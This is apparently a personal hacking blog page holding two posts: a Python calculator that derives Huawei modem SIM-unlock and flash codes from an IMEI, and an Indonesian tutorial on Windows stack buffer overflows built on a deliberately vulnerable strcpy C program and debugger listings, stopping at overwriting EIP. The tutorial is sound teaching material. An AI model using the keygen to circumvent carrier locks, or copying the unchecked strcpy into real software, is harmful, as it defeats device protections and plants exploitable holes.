break a time, with break the c0de…

Latest

Huawei modem unlock calculator


Any time i’ve been using modem (i use huawei e169) for my internet connections. because i like the flexibility and realibility for use on my notebook. but 2 days ago, i was late to pay the bill and my connection was disconnected. i read the bill, and the bill was so high than other provider. i want to move to other provider, but i can’t. because the modem was locked by provider and only can using the sim card from the provider. yes i hear there is any way to unlock the modem, but i must pay at the service. because of that i’m doing some research and looking for the unlock code algorithm used by huawei modem. and i got it and did it in my program. now i can freely use any sim card on my modem. here it is, the source code contains the algorithm or you can use by direct or import it to your own program ;) . hope you enjoy !

#!/usr/bin/python
# -*- coding: utf-8 -*-
#   This library is free software; you can redistribute it and/or
#   modify it under the terms of the GNU Lesser General Public
#   License as published by the Free Software Foundation; either
#   version 2.1 of the License, or (at your option) any later version.
#
#   This library is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
#   Lesser General Public License for more details.
#
#   You should have received a copy of the GNU Lesser General Public
#   License along with this library; if not, write to the
#      Free Software Foundation, Inc.,
#      59 Temple Place, Suite 330,
#      Boston, MA  02111-1307  USA
#
#   Copyright 2010 Gunslinger_ <yudha.gunslinger@gmail.com>
#   http://bit.ly/c0debreaker

import hashlib, string

__author__	= "Gunslinger_ <yudha.gunslinger@gmail.com>"
__date__ 	= "Tue, 14 Jun 2011 23:22:42 +0700"
__version__ 	= "1.0"
__copyright__ 	= "Copyright (c) 2010 Gunslinger_"

class huawei_modem_unlocker(object):
	"""
	Instance variables:

	Imei
		Imei of the modem will be calculated
		Default : '0'

	Verbose
		Display how algorithm working
		Default : False

	"""
	def __init__(self, imei='0', verbose=False):
		''' Huawei modem unlocker class constructor '''
		self._imei 		= imei
		self._verbose		= verbose
		self._md5u 		= hashlib.md5(str(imei)+str('5e8dd316726b0335')).hexdigest()
		self._md5f 		= hashlib.md5(str(imei)+str('97b7bc6be525ab44')).hexdigest()
		self._unlock_code 	= ''
		self._flash_code 	= ''
		# verbose formating
		self._width		= 21
		self._w			= 10
		self._header_format 	= '%-*s%*s'
		self._format       	= '   %d  | %-*s | %*s  '

	def xor_digits(self, source, counter):
		''' Get a value and xoring it during looping iteration '''
		digits = int('0x0'+source[0+counter:2+counter],16)	^ \
			 int('0x0'+source[8+counter:8+2+counter],16)	^ \
			 int('0x0'+source[16+counter:16+2+counter],16) 	^ \
			 int('0x0'+source[24+counter:24+2+counter],16)
		return digits

	def calc(self):
		''' Process calculate with the algorithm (read source code) '''
		cnt = 0
		cnt2 = 1
		if self._verbose:
			print "="*(self._width+13)
			print " Iter."+"|"+ " Unlock byte "+"|"+" Flash byte "
			print "-"*(self._width+13)
		while cnt < 8:
			digits_unlock 	= self.xor_digits(self._md5u, cnt)
			digits_flash 	= self.xor_digits(self._md5f, cnt)
			unlock_byte 	= string.zfill(hex(digits_unlock)[2:],2)
			flash_byte	= string.zfill(hex(digits_flash)[2:],2)
			self._unlock_code = str(self._unlock_code)+str(unlock_byte)
			self._flash_code  = str(self._flash_code)+str(flash_byte)
			if self._verbose: print self._format % (int(cnt2), self._width - self._w, self._unlock_code , self._w, self._flash_code)
			cnt  +=2
			cnt2 +=1
		if self._verbose:
			print "="*(self._width+13)
			print "\nUNLOCK CODE = %d & %d | %d = %d" % (int('0x0'+self._unlock_code,16), 33554431, 33554432, eval("int('0x0'+self._unlock_code,16) & 33554431 | 33554432"))
			print "FLASH CODE  = %d & %d | %d = %d\n" % (int('0x0'+self._flash_code,16), 33554431, 33554432, eval("int('0x0'+self._flash_code,16) & 33554431 | 33554432"))
		self._unlock_code 	= int('0x0'+self._unlock_code,16) & 33554431 | 33554432
		self._flash_code 	= int('0x0'+self._flash_code,16) & 33554431 | 33554432
		return (self._unlock_code, self._flash_code)

	def run(self):
		''' Fire it up ! '''
		self.calc()
		return (self._unlock_code, self._flash_code)

if __name__ == '__main__':
	print "\nHuawei modem unlock code calculator v.%s by %s \n" % (__version__, __author__)
	inpimei = raw_input("Please input modem IMEI : ")
	cracker = huawei_modem_unlocker(inpimei)
	a, b 	= cracker.run()
	print "\n-> IMEI		= %s" % (inpimei)
	print "-> UNLOCK CODE	= %s" % (a)
	print "-> FLASH CODE	= %s" % (b)

windows stack based overflow – part I


Pendahuluan

Greetings,
setelah beberapa bulan lalu saya menulis beberapa artikel tentang exploitasi buffer overflow & cara membuat shellcode pada linux. sekarang pada saatnya saya akan membahas tentang exploitasi stack base buffer overflow pada windows.  membahas tentang exploitasi ini akan menjadi hal yang lebih menantang di bandingkan exploitasi buffer overflow pada linux karena dimana kita akan mengexploitasi system dan aplikasi yang lebih tertutup (closed source) dan sistem operasi yang tidak banyak memberikan keterbukaan. akan tetapi,  exploitasi jenis ini tetap sangat memungkinkan.

Serangan stack base buffer overflow yaitu serangan yang memanfaatkan stack dengan cara membanjiri buffer pada stack lalu mengoverwrite return address (alamat kembali eksekusi program) dengan cara lompat / menujukan (pointing) ke instruksi (atau alur program) yang di inginkan. dengan pendek kata dengan cara mengganti alur program menjadi suatu instruksi yang lain. maka, jika anda berhasil mengganti alur program ke alur instruksi yang lain, anda lah yang mengontrol alur program.

untuk mendemonstarikan serangan ini, saya memilih untuk menggunakan 2 program. yaitu program yang dibuat dengan bahasa pemrograman C, dan aplikasi sungguhan. saya memilih program yang dibuat dengan pemrograman bahasa c untuk awalnya dengan tujuan anda dapat memahami dengan sangat baik sebelum memulai dengan aplikasi yang sungguhan. untuk aplikasi yang sungguhan dalam demonstrasi ini, anda bisa mendownload salah satu aplikasi yang rentan terhadap serangan buffer overflow. pada tutorial ini kita dapat menggunakan program bernama “Easy RM To MP3 Converter 2.7.3.700” (bisa anda download disini http://www.rm-to-mp3.net/EasyRMtoMP3Converter.exe) yang telah di laporkan oleh Crazy_hacker (http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt) tahun 2009 silam. anda bisa melihat aneka exploit dari aplikasi tersebut di sini http://packetstormsecurity.org/search/?q=easy+converter . cobalah exploit tersebut . jika anda beruntung, exploit akan bekerja dengan mulus. atau anda dapat memahami cara kerja exploitasi tersebut lalu memperbaiki exploit tersebut.

Didalam tutorial ini, saya menggunakan sistem operasi windows XP service pack 2 (SP2). jika address pada debugger anda mengalami perbedaan sepanjang tutorial ini, jangan khawatir. itu bisa di sebabkan berbagai macam sebab (contoh : perbedaan direktori kerja, nama aplikasi, argument input, dll), namun secara garis besar semuanya akan sama.

Kebutuhan

Yang anda butuhkan dalam tutorial ini adalah :

Beberapa teori sebelum memulai

sebelum anda memulai ada beberapa hal yang harus anda ketahui. jika anda pernah mempelajari bahasa assembler maka itu akan membantu sepanjang tutorial ini. jika tidak, anda setidaknya memahami dibawah ini.

  • code segment atau CS (instruksi yang akan di eksekusi oleh prosesor. EIP akan melacak ke instruksi selanjutnya)
  • data segment atau DS (digunakan untuk menyimpan variable global / statis, dan buffer dinamis)
  • stack segment (digunakan untuk menyalurkan data atau argument ke dalam fungsi, dan digunakan untuk penyimpanan variable. stack dimulai dari akhir memory virtual dan mengacu ke bawah (alamat address yang lebih rendah). instruksi PUSH akan mendorong sesuatu ke stack, dan instruksi POP akan mengambil 1 item (berisi 4 bytes) dan mengisinya kedalam register. jika anda ingin mengakses stack memory secara langsung, anda bisa menggunakan ESP (stack pointer) yang dimana titik mulai stack berada di paling atas stack (alamat address yang paling rendah dari struktur stack).
  • setelah instruksi PUSH, data akan terdorong ke dalam stack. ESP (stack pointer) akan mengacu titiknya ke alamat yang lebih rendah. alamatnya akan mengalami pengurangan dari data yang terdorong ke dalam stack, dimana 4 byte sebagai alamat atau pointer. pengurangan pointer biasanya terjadi setelah beberapa item sudah terletak didalam stack.
  • setelah instruksi POP, data akan diambil dari stack. ESP (stack pointer) akan mengacu titiknya ke alamat yang lebih tinggi. alamatnya akan mengalami penambahan dari data yang di ambil dari stack pointer. dimana memasuki fungsi atau subroutine sebuah program, stack frame (bingkai stack) akan tercipta. frame ini akan menyimpan parameter atau argument untuk mengisi parameter atau argument ke dalam subroutine atau procedure. lokasi pada saat itu juga bisa diakses melalui ESP (stack pointer), dan basis dari fungsi tersebut akan berada di dalam base pointer (EBP) atau juga frame pointer pada saat itu. kita akan membahas lebih dalam setelah ini.
  • CALL (pemanggilan fungsi), Melompat dan mengerjakan instruksi prosedur program. pada saat instruksi CALL diberikan, prosesor akan melakukan ini :
    – PUSH CS ke stack bila prosedur yang di panggil bertipe Far.
    – PUSH EIP ke stack
    – Mengganti nilai CS dengan segmen dari procedure bila procedure tersebut bertipe Far.
    – Mengganti nilai IP dengan offset dari procedure. Lakukan
    intruksi yang terdapat pada alamat baru(CS:IP) sampai bertemu
    dengan intruksi RET, setelah itu:
    – POP IP
    – POP CS bila procedure bertipe Far.
    – Kembali ke program induk/pemanggil.
  • CALL (pemanggilan fungsi), Melompat dan mengerjakan instruksi prosedur program. pada saat instruksi CALL diberikan, prosesor akan melakukan ini :
    – PUSH CS ke stack bila prosedur yang di panggil bertipe Far.
    – PUSH EIP ke stack
    – Mengganti nilai CS dengan segmen dari procedure bila procedure tersebut bertipe Far.
    – Mengganti nilai IP dengan offset dari procedure. Lakukan
    intruksi yang terdapat pada alamat baru(CS:IP) sampai bertemu
    dengan intruksi RET, setelah itu:
    – POP IP
    – POP CS bila procedure bertipe Far.
    – Kembali ke program induk/pemanggil.
  • offset = karakter ke sekian dari titik pengukuran (array, struktur data). misal ESP+4 yang artinya karakter ke 4 dari titik mulai karakter stack pointer (dimulai dari 0).
                0  1  2  3 (4 byte)
     ESP ==>  > 00 03 24 90  $.   ASCII "AAAAAAAAAAAAAAAA"
     ESP+4    > 00 03 24 7D  }$.  ASCII "C:\c\overflow.exe"
                4  5  6  7 (4 byte)
    

berikut ini adalah CPU general purpose registers – Intel, arsitektur x86 :

  • EAX => accumulator. digunakan untuk melakukan perhitungan dan digunakan untuk menyimpan return value dari hasil pemanggilan fungsi. basis operasi seperti penambahan, pengurangan, perbandingan menggunakan register ini.
  • EBX => base. dapat di gunakan untuk menyimpan data.
  • ECX => counter. dapat di gunakan untuk perulangan, register ini menghitung mundur.
  • EDX => data. digunakan untuk tambahan dari register EAX. dapat digunakan untuk perhitungan yang lebih kompleks seperti : pembagian atau pengurangan dengan menambahkan extra data untuk memfalisitasi penghitungan tersebut.
  • ESI => source index, digunakan untuk penahanan lokasi dari input data
  • EDI => destination index. berisi pointer lokasi dimana hasil dari operasi data disimpan.
  • EIP => instruction pointer. berisi pointer lokasi dimana instruksi selanjutkan akan tereksekusi oleh CPU.
  • EBP => base pointer. biasa juga di sebut frame pointer (base pointer adalah terminologi intel). digunakan untuk mereferensi semua parameter fungsi dan variabel lokal dalam stack frame.

Stack

didalam komputer sains, stack adalah bagian dari proses memory, datanya berstruktur LIFO (last in first out) dapat di gambarkan seperti berikut ini. juga digunakan untuk penyimpanan nilai dari suatu register.

LIFO berarti data yang terakhir dimasukan maka akan dikeluarkan paling pertama. lebih miripnya tumpukan piring dimana jika anda meletakan piring di atas tumpukan piring, maka jika anda ingin mengambil piring yang berada di bawahnya maka anda harus mengambil piring yang berada di paling atas terlebih dahulu. mekanisme yang sangat sederhana, namun memiliki batasan dalam ukuran.

jadi dimana fungsi telah dipanggil, parameter / argument fungsi akan terdorong di dalam stack. serta beberapa simpanan dari beberapa register (seperti EBP, ESP). ketika fungsi mengalami pengembalian (return) simpanan nilai yang berada pada register EIP diambil dari stack dan menyimpannya kembali di register eip. maka dari alur program dapat di lanjutkan.

Using the debugger

debugger yang saya gunakan pada tutorial ini yaitu windbg (windows debugger) dan immunity debugger. nanti kita akan menggunakan salah satu debugger tersebut, untuk beberapa penggunaan yang saling membantu. silahkan install keduanya. untuk menghindari windbg mengalami “symbol files not found”, buat folder silahkan buat folder untuk meletakan windbg debugging symbol (sebagai contoh C:\windbgsymbols). lalu buka windbg anda pilih “File” -> “Symbol File Path” dan masukan string berikut ini.

SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

ingat, jangan masukan spasi    setelah akhir / mulai string tersebut.

dan jika anda ingin memilih sebagai post-mortem (penganalisa aplikasi setelah mengalami crash) anda dapat mendaftarkannya dengan cara buka CMD lalu pergi ke dimana windbg terinstall lalu ketik “windbg.exe -I”. jika anda ingin menggunakan immunity debugger sebagai post-mortem juga anda dapat melakukannya dengan cara membuka immunity debugger, lalu pilih “Options” – “Just in-time debugging”  lalu klik “Make Immunity Debugger just in-time debugger“. dan jika anda ingin langsung atach program yang crash ke immunity debugger tanpa confirmasi, anda dapat klik “Attach without confirmation“.

Basic stack base overflow

source code program berikut adalah program yang rentan terhadap serangan stack base overflow. disini anda akan mengerti dasar – dasarnya lebih dalam (stack, memory addressing, register, offset, frame pointer, dan lain – lain).

#include <stdio.h>
// filename : overflow.c

int Overflow(char *str){

char buffer[100]; // buffer program
strcpy(buffer,str); // fungsi yang vulnerable
return 0;
}

int Winner(){
printf("[*******************************************************************]\n");
printf("[ Fungsi winner telah tereksekusi, program berhasil di exploitasi ! ]\n");
printf("[*******************************************************************]\n");
}

int main(int argc, char *argv[])
{
int pass=0;
printf("[*] Selamat datang di program %s\n\n", argv[0]);

Overflow(argv[1]); // Memanggil fungsi overflow, mengisi argument fungsi dengan userinput

if ( pass == 1) {
Winner(); // Secara normal, seharusnya fungsi ini tidak tereksekusi. karena variable pass=0 bernilai 0.
} else {
printf("[*] Program gagal di exploitasi\n");
}

printf("Keluar dari %s \n", argv[0]);
return 0;
}

Terlihat aplikasi tersebut membutuhkan 1 argument untuk fungsi Overflow(), argument akan tersalin pada local variable yang memiliki kapasitas maximal 100 byte, maka jika argument yang akan tersalin lebih dari 100 byte, aplikasi dapat mengalami overflow.

Sekarang Compile code tersebut, Buka debugger (kali ini saya menggunakan immunity debugger) buka program yang telah dicompile, beri argument “AAAAAAAAAAAAAAAA”.  Aplikasi ini membutuhkan argument sebagai input sebagai data yang akan di proses. Pada debugger saya akan terlihat seperti ini :

How function, stack frame, stack is working on

00401220 > $ 55             PUSH EBP
00401221   . 89E5           MOV EBP,ESP
00401223   . 83EC 08        SUB ESP,8

Setelah program mengambil kebutuhan program yang di butuhkan, anda bisa melihat isi dari register eip. EIP berisi address dari instruksi yang akan di eksekusi. anda dapat melihat pada gambar berikut EIP berisi address 0x00401232F dimana pada alamat tersebut berisi kode assembler PUSH EBP. pada saat itu, stack frame lama akan disimpan ke dalam stack (stack pointer berkurang). dapat dikembalikan (di ambil kembali) oleh register POP EBP. dan instruksi MOV EBP, ESP akan menyimpan stack frame baru ke dalam stack yang ditujukan oleh register EBP, dan membuatnya berada di atas dari stack (memory paling rendah dari stack). dan dimana subroutin – local variable telah disimpan. semua parameter dan local variable disimpan pada offset – offset dari register EBP, direpresentasikan dalam diagram di bawah ini :

EBP+16      – parameter ketiga yang digunakan fungsi
EBP+12      – parameter kedua yang digunakan fungsi
EBP+8        – parameter pertama yang digunakan parameter
EBP+4        – old EIP (alamat kembali “return address” dari fungsi)
EBP             – old EBP (base pointer fungsi sebelumnya)
EBP-4         – local variabel pertama
EBP-8        – local variabel kedua
EBP-12      – local variabel ketiga

dan instruksi SUB ESP,8 ditugaskan untuk membuat ruangan untuk penyimpanan local variabel yang di butuhkan oleh fungsi. dengan mengurangi ESP 8 byte. 8 byte ini akan digunakan untuk menyimpan local variabel. penambahan / pengurangan sejumlah ruangan pada ESP tersebut, automatis akan diciptakan pada saat memasuki alur program. maka dari itu, local variable juga biasanya disebut juga automatic variable.

maka urutan yang paling sering digunakan pada fungsi (penciptaan stack frame baru) adalah “PUSH EBP ~ MOV EBP, ESP ~ SUB ESP,VALUE

urutan diagram instruksi tersebut (proses terjadi penyimpanan dan pembuatan stack frame baru) dapat di gambarkan seperti ini :

catatan  :  pada diagram ini, sintaks assembler yang digunakan adalah sintaks at & t. maka instruksi mov akan menyalin data dari operand1 ke operand2.

lanjut dan berlanjut menyimpan stack frame lama dan menciptakan stack frame baru ketika instruksi tersebut di eksekusi kembali.

program calls stack

Dan ketika dimana program akan meninggalkan stack frame lama, biasa dengan urutan instruksi “MOV ESP, EBP ~ POP EBP

Assemble the program

source code assembler program pada debugger akan terlihat seperti ini :

00401290  /$ 55             PUSH EBP                                      ;  Titik mulai dari fungsi overflow()
00401291  |. 89E5           MOV EBP,ESP
00401293  |. 81EC 88000000  SUB ESP,88
00401299  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]                  ; |
0040129C  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX                  ; |
004012A0  |. 8D45 88        LEA EAX,DWORD PTR SS:[EBP-78]                 ; |
004012A3  |. 890424         MOV DWORD PTR SS:[ESP],EAX                    ; |
004012A6  |. E8 05060000    CALL <JMP.&msvcrt.strcpy>                     ; \strcpy
004012AB  |. B8 00000000    MOV EAX,0
004012B0  |. C9             LEAVE
004012B1  \. C3             RETN                                          ;  Akhir dari fungsi Overflow(). Kembali ke program utama.
004012B2  /$ 55             PUSH EBP                                      ;  Titik mulai fungsi Winner()
004012B3  |. 89E5           MOV EBP,ESP
004012B5  |. 83EC 08        SUB ESP,8
004012B8  |. C70424 0030400>MOV DWORD PTR SS:[ESP],overflow.00403000      ; |||ASCII "[*******************************************************************]"
004012BF  |. E8 DC050000    CALL <JMP.&msvcrt.printf>                     ; ||\printf
004012C4  |. C70424 4830400>MOV DWORD PTR SS:[ESP],overflow.00403048      ; ||ASCII "[*] Fungsi winner telah tereksekusi, program berhasil di exploitasi !"
004012CB  |. E8 D0050000    CALL <JMP.&msvcrt.printf>                     ; |\printf
004012D0  |. C70424 0030400>MOV DWORD PTR SS:[ESP],overflow.00403000      ; |ASCII "[*******************************************************************]"
004012D7  |. E8 C4050000    CALL <JMP.&msvcrt.printf>                     ; \printf
004012DC  |. C9             LEAVE
004012DD  \. C3             RETN                                          ;  Akhir dari fungsi winner. Kembali ke program utama.
004012DE  /$ 55             PUSH EBP
004012DF  |. 89E5           MOV EBP,ESP
004012E1  |. 83EC 18        SUB ESP,18
004012E4  |. 83E4 F0        AND ESP,FFFFFFF0
004012E7  |. B8 00000000    MOV EAX,0
004012EC  |. 83C0 0F        ADD EAX,0F
004012EF  |. 83C0 0F        ADD EAX,0F
004012F2  |. C1E8 04        SHR EAX,4
004012F5  |. C1E0 04        SHL EAX,4
004012F8  |. 8945 F8        MOV DWORD PTR SS:[EBP-8],EAX
004012FB  |. 8B45 F8        MOV EAX,DWORD PTR SS:[EBP-8]
004012FE  |. E8 AD040000    CALL overflow.004017B0
00401303  |. E8 48010000    CALL overflow.00401450
00401308  |. C745 FC 000000>MOV DWORD PTR SS:[EBP-4],0                    ; |
0040130F  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]                  ; |
00401312  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]                    ; |
00401314  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX                  ; |
00401318  |. C70424 9030400>MOV DWORD PTR SS:[ESP],overflow.00403090      ; |ASCII "[*] Selamat datang di program %s"
0040131F  |. E8 7C050000    CALL <JMP.&msvcrt.printf>                     ; \printf
00401324  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
00401327  |. 83C0 04        ADD EAX,4
0040132A  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]
0040132C  |. 890424         MOV DWORD PTR SS:[ESP],EAX                    ;  Meletakan pointer ke argument ke dalam stack. Sebelum memanggil fungsi Overflow()
0040132F  |. E8 5CFFFFFF    CALL overflow.00401290                        ;  Memanggil fungsi overflow yang berada di alamat 0x00401290, yaitu fungsi Overflow()
00401334  |. 837D FC 01     CMP DWORD PTR SS:[EBP-4],1                    ;  CMP = Compare. memperbandingkan Operand1 (doubleword offset -4 base pointer .Bernilai = 00000000) dengan Operand2 (bernilai = 1) . Hasil = tidak sama
00401338  |. 75 07          JNZ SHORT overflow.00401341                   ;  jika tidak sama, loncat ke address 0x00401341. instruksi ini akan tereksekusi.
0040133A  |. E8 73FFFFFF    CALL overflow.004012B2                        ;  memanggil fungsi program Winner() yang berada di 0x004012b2. yaitu fungsi Winner(). seharusnya instruksi ini tidak tereksekusi.
0040133F  |. EB 0C          JMP SHORT overflow.0040134D                   ;  Loncat ke address 0x00401134D
00401341  |> C70424 B430400>MOV DWORD PTR SS:[ESP],overflow.004030B4      ; |ASCII "[*] Program gagal di exploitasi"
00401348  |. E8 53050000    CALL <JMP.&msvcrt.printf>                     ; \printf
0040134D  |> 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]                  ; |
00401350  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]                    ; |
00401352  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX                  ; |
00401356  |. C70424 D530400>MOV DWORD PTR SS:[ESP],overflow.004030D5      ; |ASCII "Keluar dari %s "
0040135D  |. E8 3E050000    CALL <JMP.&msvcrt.printf>                     ; \printf
00401362  |. B8 00000000    MOV EAX,0
00401367  |. C9             LEAVE
00401368  \. C3             RETN

mari kita bahas lebih dalam source code assembler program. sementara itu, kita fokus ke beberapa instruksi assembler berikut ini.

0040132C  |. 890424         MOV DWORD PTR SS:[ESP],EAX                    ;  Meletakan pointer ke argument ke dalam stack. Sebelum memanggil fungsi Overflow()
0040132F  |. E8 5CFFFFFF    CALL overflow.00401290                        ;  Memanggil fungsi overflow yang berada di alamat 0x00401290, yaitu fungsi Overflow()
00401334  |. 837D FC 01     CMP DWORD PTR SS:[EBP-4],1                    ;  CMP = Compare. memperbandingkan Operand1 (doubleword offset -4 base pointer .Bernilai = 00000000) dengan Operand2 (bernilai = 1) . Hasil = tidak sama
00401338  |. 75 07          JNZ SHORT overflow.00401341                   ;  jika tidak sama, loncat ke address 0x00401341. instruksi ini akan tereksekusi.
0040133A  |. E8 73FFFFFF    CALL overflow.004012B2                        ;  memanggil fungsi program Winner() yang berada di 0x004012b2. yaitu fungsi Winner(). seharusnya instruksi ini tidak tereksekusi.

Sebelum memanggil fungsi overflow, instruksi sebelumnya ditugaskan untuk menyimpan pointer argument ke dalam stack. kita dapat membuktikannya dengan memberikan breakpoint pada pemanggilan fungsi overflow yang dimana terletak di alamat 0x00401334 (di immunity debugger anda bisa klik alamat tersebut lalu tekan f2 untuk menjadikan alamat tersebut sebagai breakpoint) kemudian run (tekan f9).

Setelah itu, instruksi selanjutnya “CALL overflow.00401290” memanggil fungsi overflow yang berada di alamat 0x00401290. dimana source code assembler terlihat seperti ini.

00401290  /$ 55             PUSH EBP                                      ;  Titik mulai dari fungsi overflow()
00401291  |. 89E5           MOV EBP,ESP
00401293  |. 81EC 88000000  SUB ESP,88
00401299  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]                  ; |
0040129C  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX                  ; |
004012A0  |. 8D45 88        LEA EAX,DWORD PTR SS:[EBP-78]                 ; |
004012A3  |. 890424         MOV DWORD PTR SS:[ESP],EAX                    ; |
004012A6  |. E8 05060000    CALL <JMP.&msvcrt.strcpy>                     ; \strcpy
004012AB  |. B8 00000000    MOV EAX,0
004012B0  |. C9             LEAVE
004012B1  \. C3             RETN                                          ; Kembali ke program inti

Fungsi overflow berisi tugas penyalinan argument ke local variable buffer yang berkapasitas maximum 100 bytes. maka jika di isi lebih dari 100 bytes, program akan mengalami overflow dikarenakan melebihi kapasitas stack yang sudah di tentukan. setelah fungsi ini selesai (meninggalkan fungsi, dan mengalami return), alur program akan kembali ke program inti (main program).

00401334  |. 837D FC 01     CMP DWORD PTR SS:[EBP-4],1                    ;  CMP = Compare. memperbandingkan Operand1 (doubleword offset -4 base pointer .Bernilai = 00000000) dengan Operand2 (bernilai = 1) . Hasil = tidak sama
00401338  |. 75 07          JNZ SHORT overflow.00401341                   ;  jika tidak sama, loncat ke address 0x00401341. instruksi ini akan tereksekusi.
0040133A  |. E8 73FFFFFF    CALL overflow.004012B2                        ;  memanggil fungsi program Winner() yang berada di 0x004012b2. yaitu fungsi Winner(). seharusnya instruksi ini tidak tereksekusi.
0040133F  |. EB 0C          JMP SHORT overflow.0040134D                   ;  Loncat ke address 0x00401134D
00401341  |> C70424 B430400>MOV DWORD PTR SS:[ESP],overflow.004030B4      ; |ASCII "[*] Program gagal di exploitasi"
00401348  |. E8 53050000    CALL <JMP.&msvcrt.printf>                     ; \printf
0040134D  |> 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]                  ; |
00401350  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]                    ; |
00401352  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX                  ; |
00401356  |. C70424 D530400>MOV DWORD PTR SS:[ESP],overflow.004030D5      ; |ASCII "Keluar dari %s "
0040135D  |. E8 3E050000    CALL <JMP.&msvcrt.printf>                     ; \printf
00401362  |. B8 00000000    MOV EAX,0
00401367  |. C9             LEAVE
00401368  \. C3             RETN

disini penentuan alur program akan di tentukan lagi, terlihat instruksi assembler tersebut akan membuat perbandingan yang akan menentukan alur program. sebelumnya kita tentukan bahwa variable pass bernilai 0. jika variabel pass bernilai 1, fungsi winner akan tereksekusi. dan sebaliknya jika variable pas bernilai 0 program akan mencetak “program gagal di exploitasi” dan “keluar dari overflow.exe” kemudian selesai. maka jika di source code assembler akan terjadi seperti ini.

00401338  |. 75 07          JNZ SHORT overflow.00401341                   ;  jika tidak sama, loncat ke address 0x00401341. instruksi ini akan tereksekusi.
0040133A  |. E8 73FFFFFF    CALL overflow.004012B2                        ;  memanggil fungsi program Winner() yang berada di 0x004012b2. yaitu fungsi Winner(). seharusnya instruksi ini tidak tereksekusi.
0040133F  |. EB 0C          JMP SHORT overflow.0040134D                   ;  Loncat ke address 0x00401134D

instruksi pada address 0x401334, CMP DWORD PTR SS:[EBP-4],1 = akan memperbandingkan operand1 dan operand2, CMP = compare. cara instruksi CMP memperbandingkan kedua operand adalah dengan cara mengurangkan operand1 dengan operand2. jika bernilai 0 akan menghasilkan nilai sama, jika tidak maka akan mengembalikan nilai tidak sama.
instruksi tersebut membandingkan DWORD PTR SS:[EBP-4] yang bernilai 000000. anda dapat membuktikannya dengan memberikan breakpoint (hapus breakpoint sebelumnya dan restart ulang debugger (tekan ctrl+F2)) pada address yang memiliki instruksi CMP DWORD PTR SS:[EBP-4],1. lalu run program, kemudian klik kanan window debugger pada sebelah kanan bawah pilih address -> relative to EBP.

maka akan terlihat seperti ini :

Maka hasil dari instruksi tersebut adalah “Tidak sama” atau 1

00401338  |. 75 07          JNZ SHORT overflow.00401341                   ;  jika tidak sama, loncat ke address 0x00401341. instruksi ini akan tereksekusi.
0040133A  |. E8 73FFFFFF    CALL overflow.004012B2                        ;  memanggil fungsi program Winner() yang berada di 0x004012b2. yaitu fungsi Winner(). seharusnya instruksi ini tidak tereksekusi.
0040133F  |. EB 0C          JMP SHORT overflow.0040134D                   ;  Loncat ke address 0x00401134D

Perintah JNZ yang berarti JUMP IF NOT ZERO identik dengan JNE yang berarti JUMP IF NOT EQUAL. atas instruksi CMP yang sebelumnya di lakukan yang menghasilkan 1 atau tidak sama dari perbandingkan sebelumnya maka instruksi JNZ SHORT overflow.00401341 (loncat ke address 0x00401341) akan segera dilakukan. maka, instruksi CALL overflow.004012B2 yang dimana fungsi winner() di dalam program berada tidak akan di eksekusi. instruksi JNZ SHORT overflow.00401341 akan mengeksekusi baris program dibawah ini.

00401341  |> C70424 B430400>MOV DWORD PTR SS:[ESP],overflow.004030B4      ; |ASCII "[*] Program gagal di exploitasi"
00401348  |. E8 53050000    CALL <JMP.&msvcrt.printf>                     ; \printf
0040134D  |> 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]                  ; |
00401350  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]                    ; |
00401352  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX                  ; |
00401356  |. C70424 D530400>MOV DWORD PTR SS:[ESP],overflow.004030D5      ; |ASCII "Keluar dari %s "
0040135D  |. E8 3E050000    CALL <JMP.&msvcrt.printf>                     ; \printf
00401362  |. B8 00000000    MOV EAX,0
00401367  |. C9             LEAVE
00401368  \. C3             RETN

yang kemudian program akan mencetak beberapa pesan berikut, dan kemudian program berakhir.

[*] Program gagal di exploitasi
Keluar dari overflow.exe

Tujuan kita dalam bab ini adalah : bagaimana fungsi Winner() akan dapat tereksekusi di dalam program yang rentan serangan stack base overflow ini ???

Let’s Overflow !

Sekarang, kita akan mencoba mengoverflow stack program tersebut. kita tahu sebelumnya bahwa fungsi strcpy() akan menyalin data ke local variable buffer. yang akan terlihat seperti ini :

Dengan cara menginput data melebihi kapasitas local variable buffer, mungkin kita akan bisa mengoverflow program. Ketika kita mencoba menginput data melebihi kapasitas stack, input data dapat mengoverwrite beberapa register yang dapat di gambarkan seperti berikut :

program memiliki buffer 100 bytes, kita akan coba menginputnya dengan 150 bytes. kita lihat apa yang terjadi kemudian. Silahkan Restart debugger anda, buka program tersebut kembali dan beri argument “A” sebanyak 150 bytes. dan run program (tanpa breakpoint).

EIP telah teroverwrite oleh “AAAA”, dan begitu juga stack pointer (ESP) dan base pointer (EBP). namun, berapa byte tepatnya untuk mengoverwrite EIP ?

Introducing to “Stack Flowers”

